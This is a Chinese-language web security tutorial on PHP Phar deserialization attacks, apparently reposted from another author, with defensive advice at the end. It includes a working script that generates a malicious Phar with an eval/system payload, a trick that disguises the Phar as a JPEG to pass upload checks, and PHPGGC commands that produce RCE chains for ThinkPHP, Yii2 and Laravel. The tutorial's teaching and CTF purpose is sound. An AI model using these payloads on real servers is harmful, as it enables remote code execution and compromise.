第88天-Web攻防大揭秘:PHP反序列化漏洞的“隐藏核武器”——Phar深度解析与框架实战

admin 2026-03-11 03:08:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析PHPPhar反序列化漏洞原理,指出利用phar://协议访问文件会自动反序列化metadata触发POP链,无需显式调用unserialize。文中详述构造恶意Phar文件及绕过上传限制的方法,结合PHPGGC工具演示ThinkPHP、Laravel等框架实战,并提出关闭写入权限等防御措施,揭示了文件操作中隐蔽的攻击面。 综合评分: 89 文章分类: WEB安全,漏洞分析,渗透测试,安全工具


即使只是检测文件是否存在,PHP 仍然会执行:

  1. 解析 Phar 文件

  2. 读取 metadata

  3. 自动反序列化

如果 metadata 中存放的是恶意对象,那么对象的魔术方法就可能被触发。

攻击流程通常如下:

上传恶意Phar
↓
伪装为图片
↓
服务器执行文件操作
↓
Phar解析触发
↓
Metadata自动反序列化
↓
POP链执行
↓
命令执行

攻击者甚至不需要找到 unserialize()


🧪 三、构造恶意Phar文件

攻击者首先需要生成一个带有恶意 metadata 的 Phar 文件。

步骤如下。

首先需要关闭 PHP 的只读限制:

phar.readonly = Off

然后编写生成脚本。

class Flag{

public $code;

public function __destruct(){ eval($this->code); }

}

$a = new Flag();

$a->code = "system('cat /flag');";

$phar = new Phar("exp.phar");

$phar->startBuffering();

$phar->setStub("");

$phar->setMetadata($a);

$phar->addFromString("test.txt","test");

$phar->stopBuffering();

?>

执行脚本后会生成一个文件:

exp.phar

这个 Phar 的 metadata 中包含一个序列化对象。


🎭 四、绕过文件上传限制

现实环境中,服务器通常会禁止上传 .phar 文件。

但是 Phar 文件可以通过修改后缀绕过检测。

例如:

exp.phar → avatar.jpg

Phar 文件结构允许前缀存在任意内容,因此可以伪造图片头。

攻击者上传文件:

avatar.jpg

如果服务器代码中存在如下逻辑:

file_exists("phar://uploads/avatar.jpg");

此时 metadata 会被自动解析。

POP 链也随之触发。


🧰 五、自动生成POP链:PHPGGC

在真实框架环境中,手动构造 POP 链是非常困难的。

因此安全研究人员开发了一个工具:

PHPGGC

全称:

PHP Generic Gadget Chains

GitHub 地址:

https://github.com/ambionics/phpggc

它的作用类似 Java 世界里的 ysoserial

只需指定框架和执行命令,就可以自动生成反序列化 Payload。


⚔️ 六、框架实战案例

ThinkPHP

./phpggc ThinkPHP/RCE4 system "cat /flag"

Yii2

./phpggc Yii2/RCE1 exec "cp /flag /tmp/test"

Laravel

./phpggc Laravel/RCE2 system "id"

Laravel 是目前 POP 链最丰富的 PHP 框架之一。

许多 CTF 题目都基于它设计。


🧠 七、Phar攻击完整链

真实攻击流程通常如下:

生成恶意Phar
↓
修改后缀绕过检测
↓
上传服务器
↓
程序执行文件操作
↓
phar://解析触发
↓
metadata自动反序列化
↓
POP链执行
↓
命令执行

攻击成立通常只需要两个条件:

  1. 允许上传文件

  2. 代码存在文件操作

因此 Phar 在很多场景都可以被利用,例如:

  • 文件上传模块

  • 图片处理组件

  • 日志读取功能

  • 模板加载系统

  • 缓存文件系统


🛡️ 八、防御思路

开发者可以从几个角度降低风险。

关闭 Phar 写入功能:

phar.readonly = On

禁用 Phar 协议:

stream_wrapper_unregister("phar");

避免在类中使用危险魔术方法:

__destruct
__wakeup
__toString

同时严格校验上传文件类型。


🧾 总结

Phar 反序列化是 PHP 安全研究中非常典型的一类漏洞。

它揭示了一个重要事实:

漏洞往往不在显眼的位置,而在系统自动行为里。

本文核心要点:

  • Phar 是 PHP 的打包格式

  • metadata 会自动触发反序列化

  • 文件函数可能解析 phar

  • 攻击者可构造恶意 Phar 文件

  • PHPGGC 可以生成 POP 链

  • 可利用于 ThinkPHP、Yii、Laravel 等框架

理解这种机制之后,再去审计 PHP 项目,你会发现:

很多看似普通的文件操作,其实隐藏着极深的攻击面。

复杂系统总会产生奇妙的副作用。

安全研究,就是发现这些副作用的人类活动之一。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet Сяо Яо Сяо Яо《第88天-Web攻防大揭秘:PHP反序列化漏洞的“隐藏核武器”——Phar深度解析与框架实战》

评论:0   参与:  0